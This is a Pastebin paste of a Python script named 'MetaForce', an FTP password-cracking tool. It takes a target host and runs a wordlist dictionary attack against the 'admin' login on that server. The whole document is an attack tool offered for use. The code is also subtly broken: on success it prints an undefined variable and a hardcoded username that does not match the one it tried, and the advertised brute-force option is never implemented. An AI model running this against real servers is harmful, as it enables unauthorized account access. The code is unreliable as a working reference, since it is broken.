Guest User

Untitled

a guest
Aug 27th, 2018
291
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.40 KB | None | 0 0
  1.  
  2. #+-------------------+
  3. #|~~~~~MetaForce~~~~~|
  4. #|!!FTP Bruteforce!!|
  5. #|Copyrights to |
  6. #|Drarqua GHS Storm |
  7. #+-------------------+
  8.  
  9.  
  10. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  11.  
  12. import random, string, ftplib, os, socket, time, sys
  13. from ftplib import FTP
  14.  
  15. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  16.  
  17. chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
  18. print ("___ ___ _____ _____ ___ ______ ___________ _____ _____ ")
  19. print ("| \/ || ___|_ _/ _ \ | ___| _ | ___ \/ __ \| ___|")
  20. print ("| . . || |__ | |/ /_\ \| |_ | | | | |_/ /| / \/| |__ ")
  21. print ("| |\/| || __| | || _ || _| | | | | / | | | __|")
  22. print ("| | | || |___ | || | | || | \ \_/ / |\ \ | \__/\| |___ ")
  23. print ("\_| |_/\____/ \_/\_| |_/\_| \___/\_| \_| \____/\____/")
  24. print (" +!~~~~~~~!Options!~~~~~~~!+")
  25. print (" |Options For Metaforce |")
  26. print (" |[1] For Brute Force |")
  27. print (" |[2] For Dictionary Attack|")
  28. print (" |[3] Help about MetaForce |")
  29. print (" +!~~~~~~~~~!End!~~~~~~~~~!+")
  30.  
  31. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  32.  
  33. option = input (" Decide The option you want toy use \n--> ")
  34. Target = raw_input (" Type your target's host \n--> ")
  35. ip = socket.gethostbyname( Target )
  36. curdir = os.getcwd()
  37.  
  38. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  39.  
  40. if option == 2:
  41. path = raw_input("Type your Wordlist's path\n--> ")
  42. try:
  43. ftp = FTP(ip)
  44. print ("[+]Metaforce is connected to (" + ip + ")")
  45. except ftplib.all_errors:
  46. print ("[-]Connection to (" + ip + ") failed!")
  47. raw_input("Type something to exit...")
  48. exit()
  49. try:
  50. fd = open(path)
  51. except(IOError):
  52. print ("Check your Wordlist Path")
  53. raw_input("Type something to exit...")
  54. exit()
  55. print ("[+]Trying all the passwords in your wordlist")
  56. for line in fd:
  57. try:
  58. ftp.login("admin", line)
  59. ftp.retrlines('LIST')
  60. ftp.quit()
  61. print ("[+]Metaforce succeded on Cracking\n")
  62. print ("[+]Username: koslibpro\n")
  63. print ("[+]Password: " + passwd + "\n" )
  64. raw_input("Type something to exit...")
  65. exit()
  66. except ftplib.all_errors:
  67. pass
  68. print ("[-]None of your passwords match")
  69. raw_input("Type something to exit...")
  70. exit()
  71.  
  72. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
Add Comment
Please, Sign In to add comment